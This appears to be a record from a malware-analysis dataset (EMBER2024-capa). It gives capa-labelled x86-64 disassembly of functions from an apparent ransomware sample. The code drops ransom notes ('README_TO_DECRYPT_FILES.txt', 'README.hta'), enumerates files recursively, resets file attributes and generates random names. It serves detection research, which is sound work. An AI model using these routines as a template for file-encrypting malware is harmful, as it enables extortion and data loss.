joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400110b0
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1400a3100]
xor rax, rsp
mov qword [rsp + 0x50], rax
movabs rax, 0x5c003a0043
lea r9, [rsp + 0x40]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x48]
xor eax, eax
xor r8d, r8d
mov dword [rsp + 0x38], eax
xor edx, edx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
movzx r10d, byte [rsp + 0x40]
mov r8d, r10d
lea ebx, [r10 - 0x41]
cmp ebx, 0x19
ja 0x140011114
or r8d, 0x20
movzx ecx, byte [rsp + 0x41]
dec r8d
mov edx, ecx
lea eax, [rcx - 0x41]
cmp eax, 0x19
ja 0x140011129
or edx, 0x20
movzx r9d, byte [rsp + 0x42]
ror r8d, 0xd
add r8d, edx
mov edx, r9d
lea eax, [r9 - 0x41]
cmp eax, 0x19
ja 0x140011145
or edx, 0x20
ror r8d, 0xd
add r8d, edx
movzx edx, byte [rsp + 0x43]
mov r11d, edx
lea eax, [rdx - 0x41]
cmp eax, 0x19
ja 0x140011160
or r11d, 0x20
ror r8d, 0xd
mov eax, r10d
add r8d, r11d
cmp ebx, 0x19
ja 0x140011172
or eax, 0x20
ror r8d, 0xd
mov r11d, ecx
add r8d, eax
lea eax, [rcx - 0x41]
cmp eax, 0x19
ja 0x140011188
or r11d, 0x20
ror r8d, 0xd
lea eax, [r9 - 0x41]
add r8d, r11d
mov r11d, r9d
cmp eax, 0x19
ja 0x14001119f
or r11d, 0x20
ror r8d, 0xd
lea eax, [rdx - 0x41]
add r8d, r11d
mov r11d, edx
cmp eax, 0x19
ja 0x1400111b5
or r11d, 0x20
ror r8d, 0xd
lea eax, [r10 - 0x41]
add r8d, r11d
cmp eax, 0x19
ja 0x1400111c9
or r10d, 0x20
ror r8d, 0xd
lea eax, [rcx - 0x41]
add r8d, r10d
cmp eax, 0x19
ja 0x1400111db
or ecx, 0x20
ror r8d, 0xd
lea eax, [r9 - 0x41]
add r8d, ecx
cmp eax, 0x19
ja 0x1400111ef
or r9d, 0x20
ror r8d, 0xd
lea eax, [rdx - 0x41]
add r8d, r9d
cmp eax, 0x19
ja 0x140011201
or edx, 0x20
ror r8d, 0xd
lea rcx, [0x1400a65e0]
add r8d, edx
lea rdx, [0x14005f938]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rax, [0x1400a65e0]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14002f0b0
add rsp, 0x60
pop rbx
ret
Function at 0x14001b550
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0xc0
mov rax, qword [0x1400a3100]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov rsi, rcx
lea rcx, [0x1400a3d40]
call fcn.14002d5dc
test eax, eax
jne 0x14001b7af
cmp dword [0x1400a3d8c], 0x7fffffff
je 0x14001b7ba
mov qword [rsp + 0xd8], rbx
lea rdx, [rsp + 0x40]
mov qword [rsp + 0xe0], rbp
mov r8, rsi
mov qword [rsp + 0xe8], rdi
movaps xmmword [rsp + 0xb0], xmm6
call fcn.14001cab0
mov rdx, qword [rsp + 0x50]
mov r8, rsi
call fcn.14001cbb0
mov rcx, qword [0x1400a64e8]
test al, al
cmovne rcx, qword [rsp + 0x50]
cmp rcx, qword [0x1400a64e8]
jne 0x14001b764
lea r8, str.README_TO_DECRYPT_FILES.txt
mov rdx, rsi
lea rcx, [rsp + 0x80]
call fcn.14001c2e0
cmp qword [rsp + 0x98], 7
lea rcx, [rsp + 0x80]
mov edx, 0x40000000
cmova rcx, qword [rsp + 0x80]
xor ebp, ebp
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], ebp
xor r8d, r8d
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14001b707
mov rbx, qword [0x1400a6368]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea r9, [rsp + 0x78]
mov qword [rsp + 0x20], rbp
mov r8d, eax
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, rsi
lea rdx, [rsp + 0x60]
call fcn.14001cab0
mov r8, rsi
movsd xmm0, qword [rax + 0x10]
movups xmm6, xmmword [rax]
movsd qword [rsp + 0x50], xmm0
mov rdx, qword [rsp + 0x50]
call fcn.14001cbb0
test al, al
jne 0x14001b707
movabs rax, 0x3ffffffffffffff
cmp qword [0x1400a64f0], rax
je 0x14001b7cf
mov rbx, qword [0x1400a64e8]
mov ecx, 0x40
call fcn.14002f454
mov rdx, rsi
mov rdi, rax
lea rcx, [rax + 0x20]
call fcn.14001a890
mov qword [rdi], rbx
lea rdx, [rsp + 0x40]
mov qword [rdi + 8], rbx
lea rcx, [0x1400a64e8]
mov qword [rdi + 0x10], rbx
mov r8, rdi
mov word [rdi + 0x18], bp
movaps xmmword [rsp + 0x40], xmm6
call fcn.14001ccf0
mov rdx, qword [rsp + 0x98]
cmp rdx, 7
jbe 0x14001b74b
mov rcx, qword [rsp + 0x80]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b746
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001b7a9
call fcn.14002f6d8
movdqa xmm0, xmmword [0x14009b9a0]
movdqu xmmword [rsp + 0x90], xmm0
mov word [rsp + 0x80], bp
lea rcx, [0x1400a3d40]
call fcn.14002d5e4
mov rdi, qword [rsp + 0xe8]
mov rbp, qword [rsp + 0xe0]
mov rbx, qword [rsp + 0xd8]
movaps xmm6, xmmword [rsp + 0xb0]
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.14002f0b0
add rsp, 0xc0
pop rsi
ret
call fcn.14003501c
int3
mov ecx, 5
call fcn.14002d594
int3
mov ecx, 6
mov dword [0x1400a3d8c], 0x7ffffffe
call fcn.14002d594
int3
call fcn.14001a770
int3
Function at 0x14001d760
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x14001d7c1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x14001d780
mov ecx, dword [r9]
jmp 0x14001d8a8
cmp ecx, 0x4e0
jb 0x14001d8a8
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x14001d7e0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop dword [rax + rax]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x14001d830
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x14001eb90
Capabilities:
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x200
mov rax, qword [0x1400a3100]
xor rax, rsp
mov qword [rsp + 0x1f0], rax
mov rbx, rdx
mov rdi, rcx
lea rsi, str.README.hta
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], 0xb
call fcn.14002d93c
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 0xb
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.14001e510
lea r8, [rsp + 0x70]
mov rdx, rdi
lea rcx, [rsp + 0x1d0]
call fcn.14001e9f0
lea rcx, [rsp + 0x70]
call fcn.140019bd0
lea rcx, [rsp + 0x1d0]
cmp qword [rsp + 0x1e8], 7
cmova rcx, qword [rsp + 0x1d0]
mov qword [rsp + 0x70], rcx
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140021d30
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rcx, qword [rsp + 0x30]
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rsp + 0x30]
call fcn.1400205e0
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0xc0]
call fcn.14004fe10
lea rdx, [rsp + 0x1d0]
cmp qword [rsp + 0x1e8], 7
cmova rdx, qword [rsp + 0x1d0]
lea rcx, [rsp + 0xc0]
call fcn.140021990
mov rax, qword [rsp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0xc0], rax
mov rax, qword [rsp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0xbc], edx
mov rax, qword [rsp + 0xc0]
movsxd rcx, dword [rax + 4]
test byte [rsp + rcx + 0xd0], 6
jne 0x14001ed6a
mov rdx, qword [rbx]
mov r8, qword [rbx + 8]
sub r8, rdx
lea rcx, [rsp + 0xc0]
call fcn.140020460
lea rcx, [rsp + 0xc8]
call fcn.140020b50
test rax, rax
jne 0x14001ed6a
mov rax, qword [rsp + 0xc0]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rsp + rcx + 0x108], 0
cmovne eax, edx
or eax, dword [rsp + rcx + 0xd0]
and eax, 0x17
mov dword [rsp + rcx + 0xd0], eax
mov edx, dword [rsp + rcx + 0xd4]
and edx, eax
jne 0x14001edaa
lea rcx, [rsp + 0xc0]
call fcn.14001ee10
lea rcx, [rsp + 0x1d0]
call fcn.140019bd0
nop
mov rcx, qword [rsp + 0x1f0]
xor rcx, rsp
call fcn.14002f0b0
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
test dl, 4
je 0x14001edb8
lea rbx, str.ios_base::badbit_set
jmp 0x14001edcd
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x70]
call fcn.14001d9c0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x90]
call fcn.14001e340
lea rdx, [0x1400a1738]
lea rcx, [rsp + 0x90]
call fcn.140030270
int3
Function at 0x14001eeb0
Capabilities:
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x210
mov rax, qword [0x1400a3100]
xor rax, rsp
mov qword [rsp + 0x200], rax
mov r14, rdx
mov rdi, rcx
cmp qword [rcx + 0x18], 7
jbe 0x14001eee2
mov rcx, qword [rcx]
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0xa0]
call fcn.140021d30
lea rcx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0xf
cmova rcx, qword [rsp + 0xa0]
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rsp + 0xa0]
call fcn.1400205e0
mov rdx, r14
mov rcx, rdi
call fcn.14001eb90
mov rcx, rdi
cmp qword [rdi + 0x18], 7
jbe 0x14001ef56
mov rcx, qword [rdi]
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.140021d30
mov r8d, 2
lea rdx, [0x14005fccc]
lea rcx, [rsp + 0x50]
call fcn.140020c50
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
xor ecx, ecx
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xb8], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xb0], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 0xf
mov byte [rax], cl
lea rcx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0xf
cmova rcx, qword [rsp + 0xa0]
lea rdx, [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rsi, rax
lea rcx, [rsp + 0xa0]
call fcn.1400205e0
lea rcx, [rsp + 0x50]
call fcn.1400205e0
cmp rsi, 0xffffffffffffffff
je 0x14001f128
nop dword [rax + rax]
test byte [rsp + 0xc0], 0x10
je 0x14001f105
movzx ecx, byte [rsp + 0xec]
movzx eax, byte [rsp + 0xed]
cmp cl, 0x2e
jne 0x14001f071
test al, al
je 0x14001f105
cmp cl, cl
jne 0x14001f071
cmp al, cl
jne 0x14001f071
cmp byte [rsp + 0xee], 0
je 0x14001f105
lea rax, [rsp + 0xec]
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0xec]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001f090
mov qword [rsp + 0x98], rbx
call fcn.14002d93c
lea rcx, [rsp + 0xec]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rbx
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.14001e510
lea r8, [rsp + 0x50]
mov rdx, rdi
lea rcx, [rsp + 0xa0]
call fcn.14001e9f0
lea rcx, [rsp + 0x50]
call fcn.140019bd0
mov rdx, r14
lea rcx, [rsp + 0xa0]
call fcn.14001eeb0
lea rcx, [rsp + 0xa0]
call fcn.140019bd0
lea rdx, [rsp + 0xc0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x14001f030
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
mov rcx, qword [rsp + 0x200]
xor rcx, rsp
call fcn.14002f0b0
mov rbx, qword [rsp + 0x240]
add rsp, 0x210
pop r14
pop rdi
pop rsi
ret
Function at 0x14001f900
Capabilities:
Read file on windows

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x30
mov r15, r8
mov r14, rdx
mov rbx, rcx
test r8, r8
jg 0x14001f924
xor eax, eax
add rsp, 0x30
pop r15
pop r14
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
je 0x14001f9b2
mov rdi, r15
mov qword [rsp + 0x68], rbp
lea rsi, [rcx + 0x50]
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x14001f980
mov rax, qword [rsi]
movsxd rcx, dword [rax]
test ecx, ecx
jle 0x14001f980
cmp rdi, rcx
mov rbp, rdi
cmovge rbp, rcx
mov rcx, r14
mov r8, rbp
call fcn.14004f770
mov rax, qword [rsi]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14001f99d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x14001f9a5
mov byte [r14], al
lea rsi, [rbx + 0x50]
dec rdi
mov ebp, 1
add r14, rbp
test rdi, rdi
jg 0x14001f941
mov rbp, qword [rsp + 0x68]
sub r15, rdi
jmp 0x14001fa90
mov rax, qword [rcx + 0x38]
mov rsi, r15
mov rdx, qword [rax]
test rdx, rdx
je 0x14001f9c9
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14001f9cb
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14001f9fd
cmp rax, r15
mov rdi, r15
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call fcn.14004f770
mov rax, qword [rbx + 0x50]
add r14, rdi
sub rsi, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x14001fa8d
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14001fa38
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rsi, 0xfff
jbe 0x14001fa6e
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call fcn.140038b54
add r14, rax
sub rsi, rax
cmp rax, 0xfff
jne 0x14001fa8d
cmp rsi, rax
ja 0x14001fa41
test rsi, rsi
je 0x14001fa8d
mov r9, qword [rbx + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.140038b54
sub rsi, rax
sub r15, rsi
mov rsi, qword [rsp + 0x28]
mov rax, r15
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r15
pop r14
pop rbx
ret
Function at 0x140022060
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x13d0
call fcn.14002fa90
sub rsp, rax
mov rax, qword [0x1400a3100]
xor rax, rsp
mov qword [rsp + 0x13c0], rax
mov rdi, rcx
mov dword [rsp + 0x13b4], 0xffffffff
mov ecx, 1
mov dword [rsp + 0x34], edx
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x34], edx
inc rcx
cmp rcx, 0x270
jb 0x1400220a1
lea rdx, [0x14005fbbc]
mov dword [rsp + 0x30], 0x270
mov rcx, rdi
call fcn.140019c40
lea rcx, [rsp + 0x30]
call fcn.14001d760
mov ecx, eax
imul r9, rcx, 0x1a
cmp r9d, 0x15
ja 0x140022106
nop dword [rax]
lea rcx, [rsp + 0x30]
call fcn.14001d760
mov ecx, eax
imul r9, rcx, 0x1a
cmp r9d, 0x16
jb 0x1400220f0
mov rcx, qword [rdi + 0x10]
xor esi, esi
mov rdx, qword [rdi + 0x18]
movzx ebx, byte [rsp + 0x20]
shr r9, 0x20
add r9w, 0x41
cmp rcx, rdx
jae 0x140022143
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 7
jbe 0x140022137
mov rax, qword [rdi]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], si
jmp 0x140022154
movzx r8d, bl
mov edx, 1
mov rcx, rdi
call fcn.14001d5d0
lea rcx, [rsp + 0x30]
call fcn.14001d760
mov ecx, eax
imul r9, rcx, 0x1a
cmp r9d, 0x15
ja 0x140022186
nop word [rax + rax]
lea rcx, [rsp + 0x30]
call fcn.14001d760
mov ecx, eax
imul r9, rcx, 0x1a
cmp r9d, 0x16
jb 0x140022170
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
shr r9, 0x20
add r9w, 0x41
cmp rcx, rdx
jae 0x1400221bc
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 7
jbe 0x1400221b0
mov rax, qword [rdi]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], si
jmp 0x1400221cd
movzx r8d, bl
mov edx, 1
mov rcx, rdi
call fcn.14001d5d0
lea rcx, [rsp + 0x30]
call fcn.14001d760
mov ecx, eax
imul r9, rcx, 0x1a
cmp r9d, 0x15
ja 0x1400221f9
lea rcx, [rsp + 0x30]
call fcn.14001d760
mov ecx, eax
imul r9, rcx, 0x1a
cmp r9d, 0x16
jb 0x1400221e3
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
shr r9, 0x20
add r9w, 0x41
cmp rcx, rdx
jae 0x14002222f
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 7
jbe 0x140022223
mov rax, qword [rdi]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], si
jmp 0x140022240
movzx r8d, bl
mov edx, 1
mov rcx, rdi
call fcn.14001d5d0
lea rcx, [rsp + 0x30]
call fcn.14001d760
mov ecx, eax
imul r9, rcx, 0x1a
cmp r9d, 0x15
ja 0x14002226c
lea rcx, [rsp + 0x30]
call fcn.14001d760
mov ecx, eax
imul r9, rcx, 0x1a
cmp r9d, 0x16
jb 0x140022256
mov rax, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
shr r9, 0x20
add r9w, 0x41
cmp rax, rdx
jae 0x1400222a2
lea rcx, [rax + 1]
mov qword [rdi + 0x10], rcx
mov rcx, rdi
cmp rdx, 7
jbe 0x140022296
mov rcx, qword [rdi]
mov word [rcx + rax*2], r9w
mov word [rcx + rax*2 + 2], si
jmp 0x1400222b3
movzx r8d, bl
mov edx, 1
mov rcx, rdi
call fcn.14001d5d0
mov rax, rdi
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.14002f0b0
lea r11, [rsp + 0x13d0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140024ca0
Capabilities:
Check if file exists
Get file attributes
Read .ini file

Disassembly:
push rbx
sub rsp, 0x250
mov rax, qword [0x1400a3100]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rbx, str.C:T_cfg.ini
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140024d14
mov qword [rsp + 0x28], rbx
lea r9, [rsp + 0x30]
lea r8, [0x14009b86c]
mov dword [rsp + 0x20], 0x104
lea rdx, str.FoldersFile
lea rcx, str.Paths
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
jmp 0x140024d16
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14002f0b0
add rsp, 0x250
pop rbx
ret
Function at 0x14002d89c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14002d8d6
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14002d8db
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14002d924
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400528b0]
cmp byte [rcx + rax], 0
je 0x14002d924
dec r8
sub rdx, 1
jne 0x14002d90a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14002ff4c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002ff96
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002ff96
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002ff96
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002ff96
cmp dword [rcx + 0x84], 0xe
jbe 0x14002ff96
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14002ff98
xor al, al
add rsp, 0x28
ret

Function at 0x140035378
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x1400353af
call fcn.14003a6f0
mov dword [rax], 0x16
call fcn.140034ffc
xor eax, eax
jmp 0x14003543d
mov rdx, r9
mov rcx, r8
call fcn.140035314
mov rbx, rax
test rax, rax
je 0x14003543a
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x140035240]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x140035427
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14003a664
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14003540e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14003541d
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.14003ef64
jmp 0x14003543a
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140035437
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x14003b514
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14003b583
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003b583
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003b583
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003b583
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003b583
cmp dword [rcx + 0x84], 0xe
jbe 0x14003b583
cmp dword [rcx + 0xf8], 0
je 0x14003b583
mov ecx, ebx
call fcn.14003b634
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14003b410
nop
cmp dword [rbp + 0x20], 0
je 0x14003b5d1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14003b5dc
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14003b514

Function at 0x14003b718
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14003b514

Function at 0x140041850
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140041866
mov al, 1
jmp 0x1400418c6
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140041877
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400418c4
mov ecx, dword [rcx + 0x18]
nop
call fcn.140047fc4
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400418c4
